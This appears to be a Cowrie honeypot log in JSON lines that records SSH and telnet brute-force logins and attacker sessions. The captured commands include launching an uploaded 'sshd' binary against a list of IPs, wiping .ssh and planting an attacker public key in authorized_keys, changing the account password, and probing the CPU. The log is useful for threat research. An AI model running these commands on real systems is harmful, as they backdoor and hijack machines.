{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:12.745680Z","src_ip":"213.209.159.56","session":"715fff2e1770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10319,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a553890c3e9","protocol":"telnet","message":"New connection: 212.55.149.117:10319 (10.17.0.5:23) [session: 5a553890c3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:07:30.097327Z"}
{"eventid":"cowrie.session.closed","duration":60.5214684009552,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:03.670318Z","src_ip":"212.55.149.117","session":"ea3c986219bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00836515426636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:03.720880Z","src_ip":"212.55.149.117","session":"353aaadcc761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":47782,"dst_ip":"10.17.0.5","dst_port":22,"session":"2102eeedf946","protocol":"ssh","message":"New connection: 189.46.1.73:47782 (10.17.0.5:22) [session: 2102eeedf946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:04.326164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:04.332260Z","src_ip":"189.46.1.73","session":"2102eeedf946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:04.519591Z","src_ip":"189.46.1.73","session":"2102eeedf946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456789","message":"login attempt [minecraft/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:05.132391Z","src_ip":"189.46.1.73","session":"2102eeedf946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:06.320481Z","src_ip":"189.46.1.73","session":"2102eeedf946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8239,"dst_ip":"10.17.0.5","dst_port":23,"session":"f466997ecda0","protocol":"telnet","message":"New connection: 212.55.149.117:8239 (10.17.0.5:23) [session: f466997ecda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:12.633611Z"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:56.746624Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:57.541710Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.784536264087025944/sshd;nohup ./.784536264087025944/sshd 106.13.167.239 88.151.34.218 45.80.229.103 161.129.211.63 159.203.120.106 183.136.170.167 116.128.243.59 23.165.104.184 46.101.107.202 183.61.119.194 170.150.255.26 23.251.57.59 202.129.205.122 160.191.89.7 185.148.3.161 118.80.0.223 222.223.177.118 36.163.199.22 103.121.91.144 203.186.60.250 203.189.196.168 221.10.21.26 0.0.0.0 111.170.34.11 101.36.228.201 161.129.211.56 116.169.58.224 185.148.14.239 157.230.37.97 141.148.140.182 51.15.19.10 43.226.45.124 152.53.186.30 191.252.210.242 123.182.141.59 121.28.170.66 112.28.209.105 45.118.144.36 182.201.244.26 158.51.96.38 39.175.51.58 49.72.111.25 103.219.32.239 106.12.153.211 47.251.91.128 114.218.57.21 148.72.168.29 218.205.37.160 210.16.103.246 60.165.124.241 122.228.86.100 &","message":"CMD: chmod +x ./.784536264087025944/sshd;nohup ./.784536264087025944/sshd 106.13.167.239 88.151.34.218 45.80.229.103 161.129.211.63 159.203.120.106 183.136.170.167 116.128.243.59 23.165.104.184 46.101.107.202 183.61.119.194 170.150.255.26 23.251.57.59 202.129.205.122 160.191.89.7 185.148.3.161 118.80.0.223 222.223.177.118 36.163.199.22 103.121.91.144 203.186.60.250 203.189.196.168 221.10.21.26 0.0.0.0 111.170.34.11 101.36.228.201 161.129.211.56 116.169.58.224 185.148.14.239 157.230.37.97 141.148.140.182 51.15.19.10 43.226.45.124 152.53.186.30 191.252.210.242 123.182.141.59 121.28.170.66 112.28.209.105 45.118.144.36 182.201.244.26 158.51.96.38 39.175.51.58 49.72.111.25 103.219.32.239 106.12.153.211 47.251.91.128 114.218.57.21 148.72.168.29 218.205.37.160 210.16.103.246 60.165.124.241 122.228.86.100 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:57.545339Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c1f7af8c71924cc0c9f59667e18dbf266211804d4b90c3458444cc06e9b37eed","size":135,"shasum":"c1f7af8c71924cc0c9f59667e18dbf266211804d4b90c3458444cc06e9b37eed","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c1f7af8c71924cc0c9f59667e18dbf266211804d4b90c3458444cc06e9b37eed after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:57.799443Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"248.3","message":"Connection lost after 248.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:08:57.805271Z","src_ip":"183.80.167.41","session":"f9c663fc7439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":28110,"dst_ip":"10.17.0.5","dst_port":23,"session":"2edf96af60a0","protocol":"telnet","message":"New connection: 212.55.149.117:28110 (10.17.0.5:23) [session: 2edf96af60a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:14.495687Z"}
{"eventid":"cowrie.session.closed","duration":120.00370454788208,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:30.100895Z","src_ip":"212.55.149.117","session":"5a553890c3e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27713,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc6c3d5405e","protocol":"telnet","message":"New connection: 212.55.149.117:27713 (10.17.0.5:23) [session: acc6c3d5405e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:31.703458Z"}
{"eventid":"cowrie.session.closed","duration":0.011700153350830078,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:31.715008Z","src_ip":"212.55.149.117","session":"acc6c3d5405e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55110,"dst_ip":"10.17.0.5","dst_port":22,"session":"f350c1f66afc","protocol":"ssh","message":"New connection: 103.15.226.202:55110 (10.17.0.5:22) [session: f350c1f66afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:55.904190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:55.909135Z","src_ip":"103.15.226.202","session":"f350c1f66afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:56.152200Z","src_ip":"103.15.226.202","session":"f350c1f66afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxasqw12","message":"login attempt [root/zxasqw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:56.881729Z","src_ip":"103.15.226.202","session":"f350c1f66afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:09:58.126243Z","src_ip":"103.15.226.202","session":"f350c1f66afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01101756095886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:12.644492Z","src_ip":"212.55.149.117","session":"f466997ecda0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.90378737449646,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:15.399335Z","src_ip":"212.55.149.117","session":"2edf96af60a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":60347,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf678aad9c3","protocol":"telnet","message":"New connection: 212.55.149.117:60347 (10.17.0.5:23) [session: 0cf678aad9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:15.484984Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36329,"dst_ip":"10.17.0.5","dst_port":23,"session":"a56fcc7eb0f3","protocol":"telnet","message":"New connection: 212.55.149.117:36329 (10.17.0.5:23) [session: a56fcc7eb0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:36.612839Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":40144,"dst_ip":"10.17.0.5","dst_port":22,"session":"e052703d5ae9","protocol":"ssh","message":"New connection: 189.46.1.73:40144 (10.17.0.5:22) [session: e052703d5ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:50.068237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:50.127171Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:50.258267Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle01","message":"login attempt [oracle/oracle01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:50.925430Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.374714Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.377977Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.381318Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.543087Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.868139Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:51.870721Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:52.025458Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:10:52.029444Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.293614Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.297206Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.440858Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.781201Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"oracle01\\nlOYlclDHbkeI\\nlOYlclDHbkeI\"|passwd|bash","message":"CMD: echo -e \"oracle01\\nlOYlclDHbkeI\\nlOYlclDHbkeI\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.784716Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.787689Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.791091Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4062bd28178c565bc62e7cb054a32e14627adcd3b5b1c6870752e03b8caf4a12","size":32,"shasum":"4062bd28178c565bc62e7cb054a32e14627adcd3b5b1c6870752e03b8caf4a12","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4062bd28178c565bc62e7cb054a32e14627adcd3b5b1c6870752e03b8caf4a12 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:04.938633Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:05.300988Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"oracle01\\nlOYlclDHbkeI\\nlOYlclDHbkeI\\n\"|passwd","message":"CMD: echo \"oracle01\\nlOYlclDHbkeI\\nlOYlclDHbkeI\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:05.304464Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c03c368d63f2c3b59834b00c17526bb71176c3b5c632cd2e2ac1f0c44ab4f210","size":25,"shasum":"c03c368d63f2c3b59834b00c17526bb71176c3b5c632cd2e2ac1f0c44ab4f210","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c03c368d63f2c3b59834b00c17526bb71176c3b5c632cd2e2ac1f0c44ab4f210 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:05.445655Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:05.823126Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:11:05.826871Z","src_ip":"189.46.1.73","session":"e052703d5ae9","protocol":"ssh"}
